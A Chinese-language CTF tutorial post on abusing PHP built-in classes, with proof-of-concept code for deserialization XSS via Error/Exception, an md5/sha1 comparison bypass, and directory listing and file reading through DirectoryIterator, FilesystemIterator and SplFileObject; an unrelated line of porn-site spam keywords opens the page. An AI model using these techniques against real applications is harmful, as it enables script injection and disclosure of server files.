亚洲最大看欧美片,亚洲图揄拍自拍另类图片,欧美精品v国产精品v呦,日本在线精品视频免费

  • 站長(zhǎng)資訊網(wǎng)
    最全最豐富的資訊網(wǎng)站

    PHP原生類的總結(jié)分享

    本篇文章給大家?guī)?lái)了關(guān)于PHP的相關(guān)知識(shí),其中主要介紹了關(guān)于原生類的相關(guān)內(nèi)容,下面一起來(lái)看一下,希望對(duì)大家有幫助。

    PHP原生類的總結(jié)分享

    這次HEctf就是一個(gè)原生類的題,只有短短三行代碼。果然越短小的代碼在ctf里越難。

    首先貼一個(gè)遍歷php內(nèi)置類的腳本

     <?php $classes = get_declared_classes(); foreach ($classes as $class) {     $methods = get_class_methods($class);     foreach ($methods as $method) {         if (in_array($method, array(             '__destruct',             '__toString',             '__wakeup',             '__call',             '__callStatic',             '__get',             '__set',             '__isset',             '__unset',             '__invoke',             '__set_state'    // 可以根據(jù)題目環(huán)境將指定的方法添加進(jìn)來(lái), 來(lái)遍歷存在指定方法的原生類         ))) {             print $class . '::' . $method . "n";         }     }      }
    登錄后復(fù)制

    結(jié)果:

    PHP原生類的總結(jié)分享

    整理一下:

    Exception ErrorException Error ParseError TypeError ArgumentCountError  ArithmeticError DivisionByZeroError ClosedGeneratorException DateTime DateTimeZone DatePeriod DirectoryIterator wakeup JsonException wakeup LogicException BadFunctionCallException InvalidArgumentException  OutOfRangeException RuntimeException OverflowException RangeException UnderflowException GlobIterator SplFixedArray ReflectionException ReflectionFunctionAbstract ReflectionParameter ReflectionMethod ReflectionClass ReflectionClassConstant ReflectionZendExtension AssertionError DOMException PDOException SimpleXMLElement mysqli_sql_exception PharException PharData PharFileInfo
    登錄后復(fù)制

    大概就是這些類了,但是在ctf比賽中經(jīng)常會(huì)用到的就是以下幾類

    • Error
    • Exception
    • SoapClient
    • DirectoryIterator
    • SimpleXMLElement

    Error/Exception 內(nèi)置類進(jìn)行 XSS

    error xss

    __toString方法會(huì)返回錯(cuò)誤或異常的字符串形式,其中包含我們輸入的參數(shù),如果我們構(gòu)造一串xss代碼,結(jié)合echo渲染,將觸發(fā)反射形xss漏洞

    demo:

    <?php $a = unserialize($_GET['a']);echo $a;
    登錄后復(fù)制

    poc

    <?php $a = new Error("<script>alert('hacker')</script>"); $b = serialize($a); echo urlencode($b);
    登錄后復(fù)制

    輸出了一串字符串

    O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3 Bs%3A32%3A%22%3Cscript%3Ealert%28%27hacker%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A25%3A%22E%3A%5Cphp%5Cfunction%5Ctest2.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A2%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D復(fù)制代碼
    登錄后復(fù)制

    成功彈窗

    PHP原生類的總結(jié)分享

    exception xss

    Exception是所有用戶級(jí)異常的基類。 (PHP 5, 7, 8)

    <?php $a = new Exception("<script>alert('hacker')</script>"); $b = serialize($a); echo urlencode($b); ?>
    登錄后復(fù)制

    和error的pop的構(gòu)造好像是一樣的(exception適用于php5和7,error只適用于php7),把error換成exception就行了。依然成功彈窗

    PHP原生類的總結(jié)分享

    Error/Exception 內(nèi)置類繞過(guò)哈希比較

    通過(guò)構(gòu)造這兩個(gè)類可以啊繞過(guò)md5()和sha1()函數(shù)。error和exception都有一個(gè)重要方法:_tostring,用于將異常對(duì)象轉(zhuǎn)換為字符串。

    同樣,當(dāng)md5()和sha1()函數(shù)處理對(duì)象時(shí),會(huì)自動(dòng)調(diào)用__tostring方法

    <?php $a = new Error("payload",1);$b=new Error("payload",2); echo $a."<br>"; echo $b."<br>";
    登錄后復(fù)制

    輸出結(jié)果

    PHP原生類的總結(jié)分享可以看出,payload后面的參數(shù)并不影響輸出的結(jié)果。正是通過(guò)這個(gè)可以繞過(guò)哈希函數(shù)。

    <?php $a=new Error("payload",1);$b=new Error("payload",2); if ($a!=$b){     echo '$a不等于$b'."n ";} if (md5($a)===md5($b)) {     echo "md5值相等n"; } if (sha1($a)===sha1($b)){     echo "sha1值相等n"; }
    登錄后復(fù)制

    PHP原生類的總結(jié)分享

    soapclient

    soap的定義

    簡(jiǎn)單對(duì)象訪問(wèn)協(xié)議含義

    這里之所以說(shuō)是簡(jiǎn)單,是因?yàn)樗腔谝呀?jīng)廣泛使用的兩個(gè)協(xié)議:HTTP和XML,所以業(yè)界把這種技術(shù)稱為“它是第一個(gè)沒(méi)有發(fā)明任何新技術(shù)的技術(shù)",之所以說(shuō)是對(duì)象,是因?yàn)榘言L問(wèn)的Web服務(wù)稱為對(duì)象,既然服務(wù)是對(duì)象,那么服務(wù)肯定有相關(guān)的屬性和調(diào)用行為,這些屬性和行為是通過(guò)WSDL來(lái)描述的。如果按“簡(jiǎn)單的對(duì)象訪問(wèn)協(xié)議”來(lái)理解,相比“簡(jiǎn)單對(duì)象訪問(wèn)協(xié)議”要容易些

    PHP 的內(nèi)置類 SoapClient 是一個(gè)專門用來(lái)訪問(wèn)web服務(wù)的類,可以提供一個(gè)基于SOAP協(xié)議訪問(wèn)Web服務(wù)的 PHP 客戶端。

    該類的構(gòu)造函數(shù)如下:

    public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
    登錄后復(fù)制

    • 第一個(gè)參數(shù)是用來(lái)指明是否是wsdl模式,將該值設(shè)為null則表示非wsdl模式。
    • 第二個(gè)參數(shù)為一個(gè)數(shù)組,如果在wsdl模式下,此參數(shù)可選;如果在非wsdl模式下,則必須設(shè)置location和uri選項(xiàng),其中l(wèi)ocation是要將請(qǐng)求發(fā)送到的SOAP服務(wù)器的URL,而uri 是SOAP服務(wù)的目標(biāo)命名空間。

    php原生文件操作類

    目錄遍歷

    DirectoryIterator

    __toString 獲取字符串形式的文件名 (PHP 5,7,8)

    例如:

    <?php $a = new DirectoryIterator("/"); foreach($a as $b){     echo($b.'</br>'); } echo $a;
    登錄后復(fù)制

    PHP原生類的總結(jié)分享輸出指定目錄里面經(jīng)過(guò)排序之后的第一個(gè)文件名

    使用此內(nèi)置類的__toString方法結(jié)合glob或file協(xié)議,即可實(shí)現(xiàn)目錄遍歷

    <?php $a = new DirectoryIterator("glob://*"); foreach ($a as $b){     echo $b.'<br>'; }
    登錄后復(fù)制

    PHP原生類的總結(jié)分享

    利用foreach能遍歷所有的文件

    <?php $a = new DirectoryIterator("glob:///*"); foreach ($a as $b){     echo $b.'<br>'; }
    登錄后復(fù)制

    PHP原生類的總結(jié)分享

    多一個(gè)斜杠,目錄往前一個(gè)。

    FilesystemIterator 類

    FilesystemIterator 類與 DirectoryIterator 類相同,提供了一個(gè)用于查看文件系統(tǒng)目錄內(nèi)容的簡(jiǎn)單接口。該類的構(gòu)造方法將會(huì)創(chuàng)建一個(gè)指定目錄的迭代器。

    該類的使用方法與DirectoryIterator 類也是基本相同的:

    <?php $a = new FilesystemIterator("glob:///*"); foreach ($a as $b){     echo $b.'<br>'; }
    登錄后復(fù)制

    PHP原生類的總結(jié)分享

    文件讀取

    SplFileObject::__toString — 以字符串形式返回文件的路徑

    <?php $a = new SplFileObject('flag.txt'); echo $a;
    登錄后復(fù)制

    PHP原生類的總結(jié)分享輸出多行

    <?php $a = new SplFileObject('flag.txt'); foreach($a as $f){     echo($f); }
    登錄后復(fù)制

    PHP原生類的總結(jié)分享

    推薦學(xué)習(xí):《PHP視頻教程》

    贊(0)
    分享到: 更多 (0)
    網(wǎng)站地圖   滬ICP備18035694號(hào)-2    滬公網(wǎng)安備31011702889846號(hào)